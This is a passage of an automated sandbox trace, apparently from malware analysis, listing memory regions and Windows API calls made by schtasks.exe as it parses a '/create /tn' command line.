"c:\\windows\\system32\\msctf.dll") Region: id = 2663 start_va = 0x570000 end_va = 0x6f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000570000" filename = "" Region: id = 2664 start_va = 0x700000 end_va = 0x1afffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000700000" filename = "" Region: id = 2665 start_va = 0x140000 end_va = 0x151fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 2689 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 2690 start_va = 0x160000 end_va = 0x160fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 2691 start_va = 0x7fefbe30000 end_va = 0x7fefbe3bfff monitored = 0 entry_point = 0x7fefbe31064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 2692 start_va = 0x1b00000 end_va = 0x1dcefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2698 start_va = 0x1dd0000 end_va = 0x1e4cfff monitored = 0 entry_point = 0x1ddcec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2699 start_va = 0x1dd0000 end_va = 0x1e4cfff monitored = 0 entry_point = 0x1ddcec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2700 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2701 start_va = 0x7fefb5c0000 end_va = 0x7fefb615fff monitored = 0 entry_point = 0x7fefb5cbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 2702 start_va = 0x1dd0000 end_va = 0x1e7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001dd0000" filename = "" Region: id = 2710 start_va = 0x1e80000 end_va = 0x1f5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e80000" filename = "" Region: id = 2711 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2712 start_va = 0x2110000 end_va = 0x218ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002110000" filename = "" Region: id = 2713 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 2724 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2725 start_va = 0x170000 end_va = 0x170fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000170000" filename = "" Region: id = 2726 start_va = 0x7fefef50000 end_va = 0x7fefefe8fff monitored = 0 entry_point = 0x7fefef51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2727 start_va = 0x180000 end_va = 0x180fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000180000" filename = "" Region: id = 2728 start_va = 0x7fefa9d0000 end_va = 0x7fefaaf6fff monitored = 0 entry_point = 0x7fefa9d10ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 2729 start_va = 0x7fefcb30000 end_va = 0x7fefcb54fff monitored = 0 entry_point = 0x7fefcb39658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2737 start_va = 0x7fefb150000 end_va = 0x7fefb184fff monitored = 0 entry_point = 0x7fefb151064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 136 os_tid = 0xf84 [0139.044] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x13fa40 | out: lpSystemTimeAsFileTime=0x13fa40*(dwLowDateTime=0x2187c480, dwHighDateTime=0x1d8a92a)) [0139.044] GetCurrentProcessId () returned 0xf80 [0139.044] GetCurrentThreadId () returned 0xf84 [0139.044] GetTickCount () returned 0x138806b [0139.044] RtlQueryPerformanceCounter (in: lpPerformanceCount=0x13fa48 | out: lpPerformanceCount=0x13fa48*=2061790735457) returned 1 [0139.044] GetModuleHandleW (lpModuleName=0x0) returned 0xffeb0000 [0139.044] __set_app_type (_Type=0x1) [0139.044] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffed972c) returned 0x0 [0139.045] __wgetmainargs (in: _Argc=0xffef1240, _Argv=0xffef1250, _Env=0xffef1248, _DoWildCard=0, _StartInfo=0xffef125c | out: _Argc=0xffef1240, _Argv=0xffef1250, _Env=0xffef1248) returned 0 [0139.046] _onexit (_Func=0xffee2ab0) returned 0xffee2ab0 [0139.046] _onexit (_Func=0xffee2ac4) returned 0xffee2ac4 [0139.046] _onexit (_Func=0xffee2afc) returned 0xffee2afc [0139.046] _onexit (_Func=0xffee2b58) returned 0xffee2b58 [0139.046] _onexit (_Func=0xffee2b80) returned 0xffee2b80 [0139.046] _onexit (_Func=0xffee2ba8) returned 0xffee2ba8 [0139.046] _onexit (_Func=0xffee2bd0) returned 0xffee2bd0 [0139.046] _onexit (_Func=0xffee2bf8) returned 0xffee2bf8 [0139.046] _onexit (_Func=0xffee2c20) returned 0xffee2c20 [0139.047] _onexit (_Func=0xffee2c48) returned 0xffee2c48 [0139.047] _onexit (_Func=0xffee2c70) returned 0xffee2c70 [0139.047] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0139.047] WinSqmIsOptedIn () returned 0x0 [0139.048] GetProcessHeap () returned 0x1e0000 [0139.048] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x18) returned 0x1f5480 [0139.048] SetLastError (dwErrCode=0x0) [0139.048] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0139.048] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0139.049] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0139.049] VerifyVersionInfoW (in: lpVersionInformation=0x13f200, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x13f200) returned 1 [0139.049] GetProcessHeap () returned 0x1e0000 [0139.049] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x18) returned 0x1fba00 [0139.049] lstrlenW (lpString="") returned 0 [0139.049] GetProcessHeap () returned 0x1e0000 [0139.049] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x2) returned 0x1fba20 [0139.049] GetProcessHeap () returned 0x1e0000 [0139.049] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1f5980 [0139.049] GetProcessHeap () returned 0x1e0000 [0139.049] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x18) returned 0x1fba40 [0139.049] GetProcessHeap () returned 0x1e0000 [0139.049] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1f59b0 [0139.049] GetProcessHeap () returned 0x1e0000 [0139.049] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1f59e0 [0139.049] GetProcessHeap () returned 0x1e0000 [0139.049] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1f5a10 [0139.049] GetProcessHeap () returned 0x1e0000 [0139.049] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1f5a40 [0139.049] GetProcessHeap () returned 0x1e0000 [0139.049] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x18) returned 0x1fba60 [0139.049] GetProcessHeap () returned 0x1e0000 [0139.049] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1f5a70 [0139.049] GetProcessHeap () returned 0x1e0000 [0139.049] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1f5aa0 [0139.049] GetProcessHeap () returned 0x1e0000 [0139.049] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1f5ad0 [0139.049] GetProcessHeap () returned 0x1e0000 [0139.049] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1f5b00 [0139.049] GetProcessHeap () returned 0x1e0000 [0139.049] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x18) returned 0x1fba80 [0139.049] GetProcessHeap () returned 0x1e0000 [0139.050] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1f5b30 [0139.050] GetProcessHeap () returned 0x1e0000 [0139.050] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1f5b60 [0139.050] GetProcessHeap () returned 0x1e0000 [0139.050] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1f5b90 [0139.050] GetProcessHeap () returned 0x1e0000 [0139.050] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1f5bc0 [0139.050] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0139.050] SetLastError (dwErrCode=0x0) [0139.050] GetProcessHeap () returned 0x1e0000 [0139.050] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1f5bf0 [0139.050] GetProcessHeap () returned 0x1e0000 [0139.050] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1f5c20 [0139.050] GetProcessHeap () returned 0x1e0000 [0139.050] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1f5c50 [0139.050] GetProcessHeap () returned 0x1e0000 [0139.050] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1f5c80 [0139.050] GetProcessHeap () returned 0x1e0000 [0139.050] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1f5cb0 [0139.050] GetProcessHeap () returned 0x1e0000 [0139.050] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x18) returned 0x1fbaa0 [0139.050] _memicmp (_Buf1=0x1fbaa0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.050] GetProcessHeap () returned 0x1e0000 [0139.050] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x208) returned 0x1fbc40 [0139.052] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1fbc40, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0139.052] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefbe30000 [0139.054] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefbe315fc [0139.054] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0139.055] GetProcessHeap () returned 0x1e0000 [0139.055] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x74e) returned 0x1fc1f0 [0139.055] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoW") returned 0x7fefbe31614 [0139.055] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x1fc1f0 | out: lpData=0x1fc1f0) returned 1 [0139.055] GetProcAddress (hModule=0x7fefbe30000, lpProcName="VerQueryValueW") returned 0x7fefbe315e0 [0139.055] VerQueryValueW (in: pBlock=0x1fc1f0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x13f2e8, puLen=0x13f350 | out: lplpBuffer=0x13f2e8*=0x1fc58c, puLen=0x13f350) returned 1 [0139.058] _memicmp (_Buf1=0x1fbaa0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.058] _vsnwprintf (in: _Buffer=0x1fbc40, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x13f2c8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0139.058] VerQueryValueW (in: pBlock=0x1fc1f0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x13f358, puLen=0x13f348 | out: lplpBuffer=0x13f358*=0x1fc3b8, puLen=0x13f348) returned 1 [0139.058] lstrlenW (lpString="schtasks.exe") returned 12 [0139.058] lstrlenW (lpString="schtasks.exe") returned 12 [0139.058] lstrlenW (lpString=".EXE") returned 4 [0139.058] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0139.059] lstrlenW (lpString="schtasks.exe") returned 12 [0139.059] lstrlenW (lpString=".EXE") returned 4 [0139.059] _memicmp (_Buf1=0x1fbaa0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.059] lstrlenW (lpString="schtasks") returned 8 [0139.060] GetProcessHeap () returned 0x1e0000 [0139.060] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1f5da0 [0139.060] GetProcessHeap () returned 0x1e0000 [0139.060] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1fcb00 [0139.060] GetProcessHeap () returned 0x1e0000 [0139.060] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1fcb30 [0139.060] GetProcessHeap () returned 0x1e0000 [0139.060] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1fcb60 [0139.060] GetProcessHeap () returned 0x1e0000 [0139.060] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x18) returned 0x1fbac0 [0139.060] _memicmp (_Buf1=0x1fbac0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.060] GetProcessHeap () returned 0x1e0000 [0139.060] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0xa0) returned 0x1fc040 [0139.060] GetProcessHeap () returned 0x1e0000 [0139.060] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1fcb90 [0139.060] GetProcessHeap () returned 0x1e0000 [0139.060] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1fcbc0 [0139.060] GetProcessHeap () returned 0x1e0000 [0139.061] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1fcbf0 [0139.061] GetProcessHeap () returned 0x1e0000 [0139.061] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x18) returned 0x1fbae0 [0139.061] _memicmp (_Buf1=0x1fbae0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.061] GetProcessHeap () returned 0x1e0000 [0139.061] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x200) returned 0x1fd2d0 [0139.061] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x1fd2d0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0139.061] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0139.061] GetProcessHeap () returned 0x1e0000 [0139.061] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x30) returned 0x1f7aa0 [0139.061] _vsnwprintf (in: _Buffer=0x1fc040, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x13f2c8 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0139.061] GetProcessHeap () returned 0x1e0000 [0139.061] GetProcessHeap () returned 0x1e0000 [0139.062] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fc1f0) returned 1 [0139.062] GetProcessHeap () returned 0x1e0000 [0139.062] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fc1f0) returned 0x74e [0139.062] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fc1f0 | out: hHeap=0x1e0000) returned 1 [0139.062] SetLastError (dwErrCode=0x0) [0139.062] GetThreadLocale () returned 0x409 [0139.062] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0139.063] lstrlenW (lpString="?") returned 1 [0139.063] GetThreadLocale () returned 0x409 [0139.063] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0139.063] lstrlenW (lpString="create") returned 6 [0139.063] GetThreadLocale () returned 0x409 [0139.063] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0139.063] lstrlenW (lpString="delete") returned 6 [0139.063] GetThreadLocale () returned 0x409 [0139.063] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0139.063] lstrlenW (lpString="query") returned 5 [0139.063] GetThreadLocale () returned 0x409 [0139.063] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0139.063] lstrlenW (lpString="change") returned 6 [0139.063] GetThreadLocale () returned 0x409 [0139.063] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0139.063] lstrlenW (lpString="run") returned 3 [0139.063] GetThreadLocale () returned 0x409 [0139.063] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0139.063] lstrlenW (lpString="end") returned 3 [0139.063] GetThreadLocale () returned 0x409 [0139.063] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0139.063] lstrlenW (lpString="showsid") returned 7 [0139.064] GetThreadLocale () returned 0x409 [0139.064] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0139.064] SetLastError (dwErrCode=0x0) [0139.064] SetLastError (dwErrCode=0x0) [0139.064] lstrlenW (lpString="/create") returned 7 [0139.064] lstrlenW (lpString="-/") returned 2 [0139.064] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0139.064] lstrlenW (lpString="?") returned 1 [0139.064] lstrlenW (lpString="?") returned 1 [0139.064] GetProcessHeap () returned 0x1e0000 [0139.064] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x18) returned 0x1fc1f0 [0139.064] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.064] GetProcessHeap () returned 0x1e0000 [0139.064] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0xa) returned 0x1fc210 [0139.064] lstrlenW (lpString="create") returned 6 [0139.064] GetProcessHeap () returned 0x1e0000 [0139.064] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x18) returned 0x1fc230 [0139.064] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.064] GetProcessHeap () returned 0x1e0000 [0139.064] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x14) returned 0x1fc250 [0139.064] _vsnwprintf (in: _Buffer=0x1fc210, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|?|") returned 3 [0139.064] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|create|") returned 8 [0139.064] lstrlenW (lpString="|?|") returned 3 [0139.064] lstrlenW (lpString="|create|") returned 8 [0139.064] SetLastError (dwErrCode=0x490) [0139.064] lstrlenW (lpString="create") returned 6 [0139.064] lstrlenW (lpString="create") returned 6 [0139.064] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.064] GetProcessHeap () returned 0x1e0000 [0139.065] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fc210) returned 1 [0139.065] GetProcessHeap () returned 0x1e0000 [0139.065] RtlReAllocateHeap (Heap=0x1e0000, Flags=0xc, Ptr=0x1fc210, Size=0x14) returned 0x1fc270 [0139.065] lstrlenW (lpString="create") returned 6 [0139.065] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.065] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|create|") returned 8 [0139.065] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|create|") returned 8 [0139.065] lstrlenW (lpString="|create|") returned 8 [0139.065] lstrlenW (lpString="|create|") returned 8 [0139.065] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0139.065] SetLastError (dwErrCode=0x0) [0139.065] SetLastError (dwErrCode=0x0) [0139.065] SetLastError (dwErrCode=0x0) [0139.065] lstrlenW (lpString="/tn") returned 3 [0139.065] lstrlenW (lpString="-/") returned 2 [0139.065] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0139.065] lstrlenW (lpString="?") returned 1 [0139.065] lstrlenW (lpString="?") returned 1 [0139.065] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.065] lstrlenW (lpString="tn") returned 2 [0139.065] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.065] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|?|") returned 3 [0139.065] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|tn|") returned 4 [0139.065] lstrlenW (lpString="|?|") returned 3 [0139.065] lstrlenW (lpString="|tn|") returned 4 [0139.065] SetLastError (dwErrCode=0x490) [0139.066] lstrlenW (lpString="create") returned 6 [0139.066] lstrlenW (lpString="create") returned 6 [0139.066] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.066] lstrlenW (lpString="tn") returned 2 [0139.066] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.066] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|create|") returned 8 [0139.066] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|tn|") returned 4 [0139.066] lstrlenW (lpString="|create|") returned 8 [0139.066] lstrlenW (lpString="|tn|") returned 4 [0139.066] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0139.066] SetLastError (dwErrCode=0x490) [0139.066] lstrlenW (lpString="delete") returned 6 [0139.066] lstrlenW (lpString="delete") returned 6 [0139.066] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.066] lstrlenW (lpString="tn") returned 2 [0139.066] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.066] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|delete|") returned 8 [0139.066] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|tn|") returned 4 [0139.066] lstrlenW (lpString="|delete|") returned 8 [0139.066] lstrlenW (lpString="|tn|") returned 4 [0139.066] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0139.066] SetLastError (dwErrCode=0x490) [0139.066] lstrlenW (lpString="query") returned 5 [0139.066] lstrlenW (lpString="query") returned 5 [0139.066] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.066] lstrlenW (lpString="tn") returned 2 [0139.066] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.066] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x8, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|query|") returned 7 [0139.066] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|tn|") returned 4 [0139.066] lstrlenW (lpString="|query|") returned 7 [0139.067] lstrlenW (lpString="|tn|") returned 4 [0139.067] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0139.067] SetLastError (dwErrCode=0x490) [0139.067] lstrlenW (lpString="change") returned 6 [0139.067] lstrlenW (lpString="change") returned 6 [0139.067] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.067] lstrlenW (lpString="tn") returned 2 [0139.067] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.067] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|change|") returned 8 [0139.067] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|tn|") returned 4 [0139.067] lstrlenW (lpString="|change|") returned 8 [0139.067] lstrlenW (lpString="|tn|") returned 4 [0139.067] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0139.067] SetLastError (dwErrCode=0x490) [0139.067] lstrlenW (lpString="run") returned 3 [0139.067] lstrlenW (lpString="run") returned 3 [0139.067] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.067] lstrlenW (lpString="tn") returned 2 [0139.067] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.067] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|run|") returned 5 [0139.067] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|tn|") returned 4 [0139.067] lstrlenW (lpString="|run|") returned 5 [0139.067] lstrlenW (lpString="|tn|") returned 4 [0139.067] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0139.067] SetLastError (dwErrCode=0x490) [0139.067] lstrlenW (lpString="end") returned 3 [0139.067] lstrlenW (lpString="end") returned 3 [0139.067] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.068] lstrlenW (lpString="tn") returned 2 [0139.068] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.068] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|end|") returned 5 [0139.068] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f2d8 | out: _Buffer="|tn|") returned 4 [0139.068] lstrlenW (lpString="|end|") returned 5 [0139.068] lstrlenW (lpString="|tn|") returned 4 [0139.068] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0139.068] SetLastError (dwErrCode=0x490) [0139.068] lstrlenW (lpString="showsid") returned 7 [0139.068] lstrlenW (lpString="showsid") returned 7 [0139.068] _memicmp (_Buf1=0x1fc1f0, 